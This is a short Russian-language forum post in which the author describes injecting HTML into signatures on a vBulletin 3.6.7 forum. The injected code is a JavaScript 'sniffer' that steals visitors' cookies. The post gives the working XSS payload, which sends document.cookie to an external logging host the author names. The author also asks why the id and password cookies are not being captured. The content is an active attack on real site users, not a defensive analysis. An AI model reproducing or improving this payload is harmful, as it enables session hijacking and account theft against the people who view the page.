сенкс за ответ))
а народ, вот тема такая, в булке(vbulletin) версии 3.6.7 можно засунуть html в подпись(ну так во всяком случае на сайте одном), ятуда сую снифер - традиционно через ява скрипт, жду пол часа иду в лог снифера и что я вижу: все куки кроме id и пароля((( пишу знач вот так:
<script>img = new Image(); img.src = "http://na-s.ru/images/kirufka_1.gif?"+document.cookie;</script>
Адрес айта снифера: http://na-s.ru